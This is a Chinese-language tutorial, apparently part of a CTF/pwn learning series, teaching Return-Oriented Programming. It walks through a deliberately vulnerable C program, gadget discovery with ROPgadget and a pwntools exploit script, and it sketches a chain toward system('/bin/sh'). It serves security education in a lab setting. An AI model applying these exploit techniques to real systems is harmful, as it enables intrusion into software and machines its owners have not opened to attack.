前面我們已經知道,只要能控制 RIP,就可以決定程式接下來執行哪裡。但如果 Binary 開了 NX,Stack 不能執行,傳統把 Shellcode 塞進 Stack 再跳過去的打法就行不通了。
今天要介紹的 ROP(Return-Oriented Programming),正是在這個限制下最核心的利用技術。
不能執行自己注入的 Shellcode,那能不能用程式本來就有的 Code?答案是可以。
假設程式裡散落著這些短小的指令片段:
pop rdi pop rsi pop rax
ret ret ret
這種通常以 ret 結尾的指令片段就叫 Gadget。ROP 的核心概念很直覺:把這些小段指令串起來,組合成我們想要的行為——像拼樂高一樣。
為什麼幾乎都以 ret 結尾?因為 ret 本質上等於 pop rip,它會從 Stack 頂端取出一個值塞進 RIP。這讓 Gadget 之間可以自動銜接:A 的 ret 跳到 B,B 的 ret 跳到 C,整串接起來就是一條 ROP Chain。
pop rdi ; ret 這麼常見?x86-64 Linux 呼叫函式時,前幾個參數透過 Register 傳遞:
第一個參數 -> RDI 第四個參數 -> RCX
第二個參數 -> RSI 第五個參數 -> R8
第三個參數 -> RDX 第六個參數 -> R9
像 puts("Hello") 在 Assembly 層面就是先把字串位址放進 RDI 再 call。但我們只有 Stack Overflow,能控制 RIP 卻沒辦法直接指定 RDI。這時 pop rdi ; ret 就派上用場了——假設 Stack 上排好這樣的佈局:
+----------------------+
| pop rdi ; ret | ← RIP 跳到這裡
+----------------------+
| 0x404050 | ← pop rdi 取出,RDI = 0x404050
+----------------------+
| print_flag | ← ret 取出,RIP = print_flag
+----------------------+
走完後等同於 print_flag(0x404050)。這就是 ROP 最基本的操作模式。
#include <stdio.h>
#include <unistd.h>
char message[] = "ROP_IS_FUN";
void print_message(char *msg)
{
printf("Message: %s\n", msg);
}
void vuln()
{
char buffer[64];
puts("Input:");
read(0, buffer, 200);
}
int main()
{
vuln();
return 0;
}
buffer 64 bytes,read 卻允許 200 bytes,標準的 Stack Buffer Overflow。編譯時關掉 Canary 和 PIE:
gcc chall.c -o chall -fno-stack-protector -no-pie
checksec 確認 NX enabled——這次不在 Stack 上執行任何東西。
Offset 的找法跟前幾天一樣,Cyclic Pattern 丟進去算出 offset = 72。
接著用 ROPgadget 找 Gadget:
ROPgadget --binary ./chall | grep "pop rdi"
# 0x00000000004011d3 : pop rdi ; ret
再用 nm 找出需要的位址:
nm ./chall | grep message
# 0000000000404030 D message
# 0000000000401156 T print_message
三個地址都到手,可以開始組 Chain。
目標是執行 print_message(message)。第一個參數走 RDI,所以先把 message 放進 RDI,再跳到 print_message:
+--------------------------+
| padding (72 bytes) |
+--------------------------+
| pop rdi ; ret |
+--------------------------+
| address of message |
+--------------------------+
| print_message |
+--------------------------+
Exploit:
from pwn import *
context.arch = "amd64"
elf = ELF("./chall")
p = process("./chall")
offset = 72
pop_rdi = 0x4011d3
payload = flat(
b"A" * offset,
pop_rdi,
elf.sym["message"],
elf.sym["print_message"]
)
p.sendline(payload)
p.interactive()
順利的話會看到 Message: ROP_IS_FUN。
72 bytes 的 A 蓋過 Buffer 和 Saved RBP,把 Saved RIP 覆寫成 pop rdi ; ret 的位址。函式結尾 ret 跳過去後:
pop rdi 從 Stack 取出 message 的位址 → RDI = messageret 取出 print_message 的位址 → RIP = print_message整個過程沒有執行任何注入的 Machine Code,純粹是重新排列 Binary 裡原有的指令。
Pwntools 內建 ROP 功能,不用把位址寫死:
elf = ELF("./chall")
rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
甚至可以讓它自動產生整條 Chain:
rop = ROP(elf)
rop.call(elf.sym["print_message"], [elf.sym["message"]])
payload = flat(b"A" * offset, rop.chain())
不過剛開始學的時候,建議先手刻幾次。直接用 rop.call() 很容易停在「它可以動,可是我不知道為什麼」的階段。
ROP Chain 可以一直往下串,連續呼叫多個函式:
pop rdi ; ret pop rdi ; ret pop rdi ; ret
argument1 argument2 argument3
function1 function2 function3
如果要傳兩個參數,找到 pop rsi ; ret 就能控制第二個。像 foo(a, b) 的 Chain:
pop rdi ; ret → a → pop rsi ; ret → b → foo
有時 ROP Chain 邏輯完全正確,呼叫 libc function 卻 Crash。常見原因是 Stack Alignment——x86-64 ABI 要求某些函式的 RSP 維持 16-byte 對齊,ROP 過程中反覆 ret 有時會破壞它。
修法很簡單,在 Chain 前面多塞一個 ret:
ret = rop.find_gadget(["ret"])[0]
payload = flat(
b"A" * offset,
ret, # 修正 alignment
pop_rdi, binsh, system
)
Writeup 裡看到莫名多出來的 ret,通常就是在處理這個。
ret2win 只需要一個位址就能跳到 win(),是最簡單的 Code Reuse。ROP 則更進一步,開始控制 Register、函式參數、串出完整的執行流程。
可以把 ret2win 想成「控制 RIP 的入門」,ROP 是「開始真正用控制 RIP 來編程」。
學 ROP 最重要的不是背 pop rdi ; ret,而是改變看待 Binary 的方式。逆向在問「這些指令原本想做什麼?」,ROP 在問「這些指令還可以被我拿來做什麼?」
看到 pop rdi ; ret 就是「我可以控制 RDI」。看到 pop rsi ; ret 就是「我可以控制 RSI」。同一份 Binary,從逆向和利用的角度看是兩個完全不同的問題。這也是 Rev 和 Pwn 真正接在一起的地方。
ROP 的精神主打就是一個:不需要注入新的程式碼,只要重新排列程式原本就存在的指令,也能完成攻擊。
不過今天的範例有個限制:我們直接用了 Binary 裡已有的函式和字串。實際題目通常不會這麼好心——如果沒有 win() 也沒有能直接拿 Shell 的函式,該怎麼辦?
Linux Process 幾乎一定會載入 libc,裡面就有 system() 和 "/bin/sh"。如果能找到它們的位址,就有機會組出 system("/bin/sh")。
這就是明天的主題:ret2libc。到了 ret2libc,ROP、libc、Information Leak、ASLR 這幾個概念會開始串在一起。